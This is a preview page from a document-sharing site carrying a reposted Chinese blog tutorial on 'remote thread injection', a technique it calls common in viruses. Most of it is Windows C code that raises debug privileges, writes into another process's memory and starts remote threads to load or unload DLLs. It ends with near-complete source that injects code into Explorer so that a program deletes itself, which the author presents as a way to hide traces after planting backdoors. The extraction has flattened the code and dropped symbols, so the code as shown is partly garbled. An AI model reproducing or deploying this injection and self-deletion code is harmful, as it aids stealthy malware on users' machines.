病毒常用技术之远程线程插入技术.doc_第1页
病毒常用技术之远程线程插入技术.doc_第2页
病毒常用技术之远程线程插入技术.doc_第3页
病毒常用技术之远程线程插入技术.doc_第4页
病毒常用技术之远程线程插入技术.doc_第5页
已阅读5页,还剩10页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

病毒常用技术之远程线程 插入技术 转帖 推荐人:WD 今天真是一个令人倒霉的天气的。 今天早上早早的爬起来,本想趁着今天的好天气好心情,写上一篇好的技术文章。不想该死的CNBLOG的管理员败坏了我的好兴致。我费了九牛二虎之力,用了 近两个小时好不容易把文章写好了,提交的时候却提示错误(没有细看也不知是什么鸟什错误),我就怕文章丢失赶紧后退回来却发现标题和关键字还在,而我辛辛 苦苦写的文章却被“这里编辑日志内容”几个字所替代。咳!倒霉的事情不说了.。下面接着写我的文章。现在有一个项目需 要承包给其他公司去完成,一般承包给你个公司就够了,可是如果项目比较大可能就需要承包给多个公司同时完成。公司只是一个组织,它不能够完成我们的项目, 项目的具体实施要交给公司所属的程序员来完成。一个公司下面最少要有一名员工,不然工商局是不会给注册的,如果公司注销公司所属的员工也就不会存在。在我 们的计算机里,项目就好比是我们通过双击一个可执行文件来运行一个程序,进程是公司,线程就是公司里面的员工。病毒为了实现自己不注册公司也要完成自己所需的工作,方法就是在其他公司面安插一名自己的奸细,吃别人的拿别人而却替自己工作。这就是病毒较为常用的隐藏进程技术。这里要用到Microsoft提供的一个API函数CreateRemoteThread,该函数声明如下:HANDLECreateRemoteThread(HANDLEhProcess,/远程进程句柄LPSECURITY_ATTRIBUTESlpThreadAttributes,/安全属性指针,NULL表示使用默认安全属性SIZE_TdwStackSize,/堆栈大小,0表示默认LPTHREAD_START_ROUTINElpStartAddress,/线程函数地址LPVOIDlpParameter,/线程函数的参数地址DWORDdwCreationFlags,/标志,一般为0LPDWORDlpThreadId/成功后返回的线程ID);由于我们安插的奸细不听那倒霉公司的指挥,需要我们给他安排任务,但是这个任务我们怎么才能分配给他呢? 最好的做法就是把任务代码放入一动态连接库文件中,使用CreateRemoteThread函数把这个动态连接库装载进目标进程,由动态连接库的 DllMain函数响应动态连接库被装载事件来执行我们的任务,不过这样操作会在目标进程中多出一个模块来,那么有没有一种方法即让目标进程运行我们的任 务又不使用动态连接库文件呢?答案是肯定的,那就是把任务代码也插入到目标进程空间中,由于执行体在两个进程中的位置不同,线程函数中的变量、字符串映射 入进程空间的位置也不定相同,这就需要线程函数对其所调用的函数进行重新定位,将所须用到的字符串等信息写入目标进程中,将在目标进程中存放字符串等信息 的地址作为参数传递给线程函数,WINDOWS中提供的API函数GetProcAddress可是实现获取API函数地址的功能。以下对各种实现方法进 行阐述。一、使用远程线程插入技术为进程插入和删除模块具体操作步骤如下:1.提升当前进程的操作权限,使其有权限对其他进程进行操作。HANDLEhToken;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);TOKEN_PRIVILEGEStp;LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges0.Luid);tp.PrivilegeCount=1;tp.Privileges0.Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);2.取得目标ProcessID(这个方法有很多,你可以使用FindWindow+GetWindowProcessID或则使用PSAPI中的函数,或则使用其他的终止只要找一个下手的目标就可以)3.使用OpenProcess打开进程并设定对进程的操作权限。HANDLEhProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,Pid);if(hProcess=NULL)MessageBox(TEXT(打开进程出错),TEXT(插入模块),MB_OK|MB_ICONERROR);returnFALSE;4.使用VirtualAllocEx在目标行程内要求一块可读写的空间,用来存放要装入DLL的名字。LPVOIDlpBuf=VirtualAllocEx(hProcess,NULL,dwSize*sizeof(TCHAR),MEM_COMMIT,PAGE_READWRITE);if(NULL=lpBuf)MessageBox(TEXT(分配空间失败),TEXT(插入模块),MB_OK|MB_ICONERROR);CloseHandle(hProcess);returnFALSE;5.使用WriteProcessMemory将DLL名字写进刚刚要求的空间中。if(WriteProcessMemory(hProcess,lpBuf,(LPVOID)DllPathName,dwSize,&dwWritten)if(dwWritten!=dwSize)VirtualFreeEx(hProcess,lpBuf,dwSize,MEM_DECOMMIT);CloseHandle(hProcess);MessageBox(TEXT(写入失败,写入字节大小不符),TEXT(插入模块),MB_OK|MB_ICONERROR);returnFALSE;elseCloseHandle(hProcess);VirtualFreeEx(hProcess,lpBuf,dwSize,MEM_DECOMMIT);MessageBox(TEXT(写入失败),TEXT(插入模块),MB_OK|MB_ICONERROR);returnFALSE;6.准备完毕,使用CreateRemoteThread开始创建远程线程。HANDLEhThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpBuf,0,&dwID);由于我们现在讲的是使用远程线程技术装载DLL,因此pFunc的值应为LoadLibrary函数的地址。7.WaitForSingleObject(hThread,INFINITE);(等待Thread结束)。8.VirtualFreeEx(hProcess,lpBuf,dwSize,MEM_DECOMMIT);回收刚刚申请的空间。9.CloseHandle(hThread);关闭线程句柄。CloseHandle(hProcess);关闭进程句柄。这样我们便在目标进程中插入了一个模块,在目标进程中卸载一个模块的操作步骤和这个基本一致。前5个步骤与插入模块的时候完全一致,这里不再累述,下面从第六个步骤开始叙述:6.准备完毕,使用CreateRemoteThread开始创建远程线程。HANDLEhThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpBuf,0,&dwID);由于我们现在讲的是使用远程线程技术卸载DLL,因此我们要提前获取待删除模块在目标进程中的模块句柄,pFunc的值应为GetModuleHandle函数的地址。7.WaitForSingleObject(hThread,INFINITE);(等待Thread结束)。8.使用GetExitCodeThread(hThread,&hMod);获取线程退出代码,也就是GetModuleHandle函数的返回值,待删除模块句柄保存在hMod中。9.VirtualFreeEx(hProcess,lpBuf,dwSize,MEM_DECOMMIT);回收刚刚申请的空间。CloseHandle(hThread);关闭线程句柄。10.再次调用CreateRemoteThread函数pFunc=FreeLibrary;hThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,(LPVOID)hMod,0,&dwID);注意此时pFunc的值是FreeLibrary函数的地址,线程参数改为我们刚刚获取的待删除模块句柄hMod。11.收尾工作CloseHandle(hThread);关闭线程句柄。CloseHandle(hProcess);关闭进程句柄。演示程序:进程模块管理器二、使用远程线程插入技术实现程序删除自身功能可执行程序自删除技术是病毒惯用的技术,其在做好对你计算机的修改,安插后门的工作后为了擦除自己的痕迹通常要把自己删除,当然自删除的方法也有很多种,下面我们讲的是使用远程线程技术来达到自删除的目的。具体代码如下:#includepsapi.h#pragmacomment(lib,psapi)typedefDWORD(WINAPI*MESSAGEBOXA)(HWNDhWnd,LPCTSTR,LPCTSTRIpCaption,UINTUType);typedefDWORD(WINAPI*MESSAGEBOXW)(HWNDhWnd,LPWSTR,LPWSTRIpCaption,UINTUType);typedefVOID(WINAPI*SLEEP)(DWORD);typedefHINSTANCE(WINAPI*LOADLIBRARYA)(LPCTSTR);typedefFARPROC(WINAPI*GETPROCADDRESS)(HMODULE,LPCSTR);typedefHINSTANCE(WINAPI*GETMODULEHANDLEA)(LPCTSTR);typedefDWORD(WINAPI*DELETEFILEA)(char*);typedefstruct_RemoteParamDWORDdwLoadLibrary;DWORDdwFreeLibrary;DWORDdwGetProcAddress;DWORDdwDeleteFileA;DWORDdwSleep;DWORDdwMessageBoxA;DWORDdwMessageBoxW;charstrUser3232;charstrKernel32;charstrSleep32;charstrMessageBoxA32;charstrDeleteFileA32;charstrFilePath255;USHORTstrFilePathW255;RemoteParam;staticvoidDelFileThread(LPVOIDlparam)USHORTtt10;USHORT*t=tt;*(t+)=L这;*(t+)=L是;*(t+)=L在;*(t+)=L另;*(t+)=L一;*(t+)=L个;*(t+)=L进;*(t+)=L程;*(t+)=L中;*t=0;RemoteParam*pParam=(RemoteParam*)lparam;SLEEPmySleep=(SLEEP)pParam-dwSleep;MESSAGEBOXWmyMessageBoxW=(MESSAGEBOXW)pParam-dwMessageBoxW;DELETEFILEAmyDeleteFileA=(DELETEFILEA)pParam-dwDeleteFileA;mySleep(1000);myMessageBoxW(NULL,(USHORT*)pParam-strFilePathW,tt,0);myDeleteFileA(pParam-strFilePath);staticinttest()return0;voidFillParam(RemoteParam&Param)HINSTANCEhKernel,hUser;hKernel=LoadLibrary(kernel32.dll);hUser=LoadLibrary(User32.dll);Param.dwDeleteFileA=(DWORD)GetProcAddress(hKernel,DeleteFileA);GetModuleFileName(NULL,Param.strFilePath,255);GetModuleFileNameW(NULL,Param.strFilePathW,510);Param.dwSleep=(DWORD)GetProcAddress(hKernel,Sleep);Param.dwMessageBoxW=(DWORD)GetProcAddress(hUser,MessageBoxW);Param.dwMessageBoxA=(DWORD)GetProcAddress(hUser,MessageBoxA);boolInit();DWORDGetPidForPName(LPTSTRpName);LPTSTRGetPNameForPid(DWORDPid,LPTSTRPNameBuf,DWORDBufSize);BOOLInsertFunc(DWORDPid,DWORDpFun,DWORDFunSize,DWORDlParam,DWORDParamSize);intAPIENTRYWinMain(HINSTANCEhInstance,HINSTANCEhPrevInstance,LPSTRlpCmdLine,intnCmdShow)RemoteParamlParam;FillParam(lParam);if(!Init()MessageBox(NULL,TEXT(提升权限失败),TEXT(错误),MB_OK|MB_ICONERROR);DWORDpid=GetPidForPName(TEXT(EXPLORER.EXE);DWORDdwFuncSize=0;dwFuncSize=(DWORD)test;dwFuncSize=(DWORD)DelFileThread;dwFuncSize=(DWORD)test-(DWORD)DelFileThread;BOOLbRet=InsertFunc(pid,(DWORD)DelFileThread,dwFuncSize,(DWORD)&lParam,sizeof(RemoteParam);return0;boolInit()HANDLEhToken;if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)returnfalse;TOKEN_PRIVILEGEStp;tp.PrivilegeCount=1;if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges0.Luid)returnfalse;tp.Privileges0.Attributes=SE_PRIVILEGE_ENABLED;if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL)returnfalse;CloseHandle(hToken);returntrue;DWORDGetPidForPName(LPTSTRpName)DWORDpPid256;DWORDnum;TCHARPNameBuf65=0;EnumProcesses(pPid,sizeof(pPid),&num);num/=sizeof(DWORD);for(DWORDi=0;inum;i+)if(GetPNameForPid(pPidi,PNameBuf,sizeof(PNameBuf)=NULL)continue;if(stricmp(PNameBuf,pName)=0)returnpPidi;return0;LPTSTRGetPNameForPid(DWORDPid,LPTSTRPNameBuf,DWORDBufSize)HMODULEhMod;DWORDmnum;HANDLEhProcess=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,Pid);if(!EnumProcessModules(hProcess,&hMod,4,&mnum)returnNULL;GetModuleBaseName(hProcess,hMod,PNameBuf,BufSize);returnPNameBuf;BOOLInsertFunc(DWORDPid,DWORDpFun,DWORDFunSize,DWORDlParam,DWORDParamSize)HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,Pid);/PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITEif(hProcess=NULL)MessageBox(NULL,TEXT(打开进程出错),TEXT(插入模块),MB_OK|MB_ICONERROR);returnFALSE;DWORDdwWritten;LPVOIDlpFunBuf=VirtualAllocEx(hProcess,NULL,FunSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);if(NULL=lpFunBuf)MessageBox(NULL,TEXT(为函数分配空间失败),TEXT(插入模块),MB_OK|MB_ICONERROR);CloseHandle(hProcess);returnFALSE;LPVOIDlpParBuf=VirtualAllocEx(hProcess,NULL,ParamSize,MEM_COMMIT,PAGE_READWRITE);if(NULL=lpParBuf)MessageBox(NULL,TEXT(为参数分配空间失败),TEXT(插入模块),MB_OK|MB_ICONERROR);CloseHandle(hProcess);returnFALSE;if(WriteProcessMemory(hProcess,lpFunBuf,(LPVOID)pFun,FunSize,&dwWritten)if(dwWritten!=FunSize)VirtualFreeEx(hProcess,lpFunBuf,FunSize,MEM_DECOMMIT);CloseHandle(hProcess);MessageBox(NULL,TEXT(写入函数失败,写入字节大小不符),TEXT(插入模块),MB_OK|MB_ICONERROR);returnFALSE;elseCloseHandle(hProcess);VirtualFreeEx(hProcess,lpFunBuf,FunSize,MEM_DECOMMIT);MessageBox(NULL,TEXT(写入失败)

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论